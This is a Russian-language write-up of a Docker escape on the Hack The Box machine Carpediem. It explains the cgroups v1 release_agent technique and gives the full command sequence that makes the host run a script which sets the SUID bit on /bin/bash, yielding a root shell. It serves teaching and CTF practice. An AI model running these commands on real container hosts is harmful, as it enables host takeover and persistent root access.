В этой статье рассмотрим атаку Docker escape, на примере прохождения задания Hack The Box Carpediem.
Еще по теме: Проверка безопасности Docker и Kubernetes в облаке Amazon
Что такое Docker escape
Docker — самое популярное приложение для контейнеризации ПО. С технической точки зрения контейнер — это запущенный процесс (наподобие процессов в ОС), который изолирован от других процессов и имеет доступ к ресурсам компьютера.
Как и в любом другом ПО, в Docker есть всякие уязвимости. Одной из самых известных уязвимостей считается Docker escape (побег из Docker) или более распространенная формулировка — побег из Docker контейнера. Эта уязвимость позволяет получить доступ к основной (хостовой) ОС, тем самым совершая побег из контейнера Docker.
Впервые уязвимость была обнаружена июле 2019 года, экспертами ИБ Project Zero. Несмотря на то, что с момента выявления уязвимости уже прошло несколько лет, ее все еще можно реализовать. Упоминание атаки отсутствует и на официальном сайте и на форуме Docker. Описание атаки предоставлено на сайте поиска уязвимостей Exploit DB.
Пример атаки Docker escape (побег из Docker-контейнера)
Контейнер Docker работает в привилегированном режиме, и у нас есть права рута, что позволяет нам выйти из контейнера на основной хост также в привилегированном режиме. В этом нам помогут контрольные группы Linux.
Cgroup, или «контрольная группа», в Linux — это группа процессов, для которой механизмами ядра наложена изоляция и установлены ограничения на некоторые вычислительные ресурсы (процессорные, сетевые, память, ввод‑вывод). Это как раз один из механизмов, с помощью которых Docker изолирует контейнеры.
Этот метод использует функцию notify_on_release в cgroups v1, чтобы запустить определенный код от имени пользователя root. Дело в том, что, когда последняя задача в контрольной группе покидает ее, на хосте выполняется команда, указанная в файле release_agent. Таким образом предполагается сократить число заброшенных контрольных групп. Эта команда при вызове запускается на хосте как пользователь с полными привилегиями.
Первым делом нам нужно запустить новую командную оболочку.
1 |
unshare -UrmC bash |
Теперь, чтобы выполнить код на основном хосте, нам нужна контрольная группа, в которой мы можем создать файл release_agent и инициировать его вызов, уничтожив все процессы в контрольной группе.
Самый простой способ добиться этого — смонтировать контроллер cgroup и создать дочернюю cgroup. Для этого мы создаем каталог /tmp/ralf, монтируем контроллер cgroup RDMA и создаем дочернюю cgroup x.
1 2 3 4 5 |
umount /tmp/ralf rm -R /tmp/ralf mkdir /tmp/ralf mount -t cgroup -o rdma cgroup /tmp/ralf mkdir /tmp/ralf/x |
Затем активируем уведомления контрольной группы, записывая единицу в ее файл notify_on_release. Также настраиваем cgroup RDMA для выполнения сценария /cmd. Путь к самому контейнеру на основном хосте берем из файла /etc/mtab.
1 2 3 |
echo 1 > /tmp/ralf/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/ralf/release_agent |
Команды из файла /cmd будут выполнены в привилегированном режиме на основном хосте, поэтому нужно выбрать один из методов персистентности. К примеру, установка бита SUID для файла командной оболочки /bin/bash.
1 2 3 |
echo '#!/bin/bash' > /cmd echo "chmod u+s /bin/bash" >> /cmd chmod a+x /cmd |
Последнее действие — вызов триггера RDMA. Создадим процесс, который немедленно завершится внутри дочерней контрольной группы x. Для этого запускаем процесс bash и записываем его PID в файл cgroup.procs.
1 |
bash -c "echo \$\$ > /tmp/ralf/x/cgroup.procs" |
Теперь мы можем вернуться на основной хост и проверить права на файл /bin/bash.

S-бит установлен, поэтому запускаем его и легко получаем оболочку в привилегированном режиме.

Забираем флаг рута, и машина захвачена!
РЕКОМЕНДУЕМ:
- Перечисление и эксфильтрация бакетов AWS S3
- Проверка безопасности Docker-образов с помощью Trivy
- Получение содержимого бакетов AWS с помощью AWS CLI